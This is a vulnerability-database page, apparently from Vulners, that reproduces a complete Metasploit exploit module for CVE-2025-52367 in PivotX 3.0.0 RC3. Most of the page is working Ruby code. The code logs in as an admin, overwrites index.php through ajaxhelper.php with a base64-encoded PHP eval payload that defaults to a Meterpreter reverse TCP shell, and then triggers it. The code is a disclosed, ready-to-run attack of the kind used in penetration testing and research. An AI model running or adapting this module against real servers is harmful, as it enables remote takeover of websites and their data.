Lucene search
K

📄 PivotX 3.0.0 RC 3 Remote Code Execution

🗓️ 13 Aug 2025 00:00:00Reported by msutovsky-r7, HayToNType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 98 Views

PivotX 3.0.0 RC 3 enables remote code execution by writing a payload to index.php.

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2025-52367
17 Jul 202521:02
circl
CNNVD
PivotX 3.0.0 RC3 安全漏洞
16 Jul 202500:00
cnnvd
CVE
CVE-2025-52367
22 Sep 202500:00
cve
Cvelist
CVE-2025-52367
22 Sep 202500:00
cvelist
Exploit DB
PivotX 3.0.0 RC3 - Remote Code Execution (RCE)
16 Jul 202500:00
exploitdb
EUVD
EUVD-2025-30753
22 Sep 202500:00
euvd
Metasploit
PivotX Remote Code Execution
13 Aug 202518:54
metasploit
NVD
CVE-2025-52367
22 Sep 202519:15
nvd
OSV
CVE-2025-52367
22 Sep 202519:15
osv
Packet Storm
📄 PivotX 3.0.0 RC3 Remote Code Execution / Cross Site Scripting
16 Jul 202500:00
packetstorm
Rows per page
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html
    
      include Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'PivotX Remote Code Execution',
            'Description' => %q{
              This module gains remote code execution in PivotX management system. The PivotX allows admin user to directly edit files on the webserver, including PHP files. The module exploits this by writing a malicious payload into `index.php` file, gaining remote code execution.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'HayToN', # security research
              'msutovsky-r7' # module dev
            ],
            'References' => [
              [ 'EDB', '52361' ],
              [ 'URL', 'https://medium.com/@hayton1088/cve-2025-52367-stored-xss-to-rce-via-privilege-escalation-in-pivotx-cms-v3-0-0-rc-3-a1b870bcb7b3'],
              [ 'CVE', '2025-52367']
            ],
            'Targets' => [
              [
                'Linux',
                {
                  'Platform' => 'php',
                  'Arch' => ARCH_PHP
                }
              ]
            ],
            'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' },
            'DisclosureDate' => '2025-07-10',
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
            }
          )
        )
        register_options([
          OptString.new('USERNAME', [ true, 'PivotX username', '' ]),
          OptString.new('PASSWORD', [true, 'PivotX password', '']),
          OptString.new('TARGETURI', [true, 'The base path to PivotX', '/PivotX/'])
        ])
      end
    
      def check
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php')
        })
    
        return Msf::Exploit::CheckCode::Unknown('Unexpected response') unless res&.code == 200
    
        return Msf::Exploit::CheckCode::Safe('Target is not PivotX') unless res.body.include?('PivotX Powered')
    
        html_body = res.get_html_document
    
        return Msf::Exploit::CheckCode::Detected('Could not find version element') unless html_body.search('em').find { |i| i.text =~ /PivotX - (\d.\d\d?.\d\d?-[a-z0-9]+)/ }
    
        version = Rex::Version.new(Regexp.last_match(1))
    
        return Msf::Exploit::CheckCode::Appears("Detected PivotX #{version}") if version <= Rex::Version.new('3.0.0-rc3')
    
        return Msf::Exploit::CheckCode::Safe("PivotX #{version} is not vulnerable")
      end
    
      def login
        data_post = Rex::MIME::Message.new
        data_post.add_part('', nil, nil, %(form-data; name="returnto"))
        data_post.add_part('', nil, nil, %(form-data; name="template"))
        data_post.add_part(datastore['USERNAME'], nil, nil, %(form-data; name="username"))
        data_post.add_part(datastore['PASSWORD'], nil, nil, %(form-data; name="password"))
    
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php'),
          'vars_get' => { 'page' => 'login' },
          'ctype' => "multipart/form-data; boundary=#{data_post.bound}",
          'data' => data_post.to_s,
          'keep_cookies' => true
        })
    
        fail_with(Failure::NoAccess, 'Login failed, incorrect username/password') if res&.get_html_document&.at("//script[contains(., 'Incorrect username/password')]")
        fail_with(Failure::Unknown, 'Login failed, unable to pivotxsession cookie') unless (res&.code == 200 || res&.code == 302) && res.get_cookies =~ /pivotxsession=([a-zA-Z0-9]+);/
    
        @csrf_token = Regexp.last_match(1)
      end
    
      def modify_file
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php'),
          'vars_get' => { 'page' => 'homeexplore' }
        })
    
        fail_with(Failure::UnexpectedReply, 'Received unexpected response when fetching working directory') unless res&.code == 200 && res.body =~ /basedir=([a-zA-Z0-9]+)/
    
        @base_dir = Regexp.last_match(1)
    
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'),
          'vars_get' => { 'function' => 'view', 'basedir' => @base_dir, 'file' => 'index.php' }
        })
    
        fail_with(Failure::UnexpectedReply, 'Received unexpected response when fetching index.php') unless res&.code == 200
    
        @original_value = res.get_html_document.at('textarea')&.text
    
        fail_with(Failure::Unknown, 'Could not find content of index.php') unless @original_value
    
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'),
          'vars_post' => { 'csrfcheck' => @csrf_token, 'function' => 'save', 'basedir' => @base_dir, 'file' => 'index.php', 'contents' => "<?php eval(base64_decode('#{Base64.strict_encode64(payload.encoded)}')); ?> #{@original_value}" }
        })
    
        fail_with(Failure::PayloadFailed, 'Failed to insert malicious PHP payload') unless res&.code == 200 && res.body.include?('Wrote contents to file index.php')
      end
    
      def trigger_payload
        send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'index.php')
        })
      end
    
      def restore
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'),
          'vars_post' => { 'csrfcheck' => @csrf_token, 'function' => 'save', 'basedir' => @base_dir, 'file' => 'index.php', 'contents' => @original_value }
        })
        vprint_status('Restoring original content')
        vprint_error('Failed to restore original content') unless res&.code == 200 && res.body.include?('Wrote contents to file index.php')
      end
    
      def cleanup
        super
        # original content can be any string, it cannot be nil
        restore if @original_value.nil?
      end
    
      def exploit
        vprint_status('Logging in PivotX')
        login
        vprint_status('Modifying file and injecting payload')
        modify_file
        vprint_status('Triggering payload')
        trigger_payload
      end
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

13 Aug 2025 00:00Current
8.4High risk
Vulners AI Score8.4
EPSS0.7027
98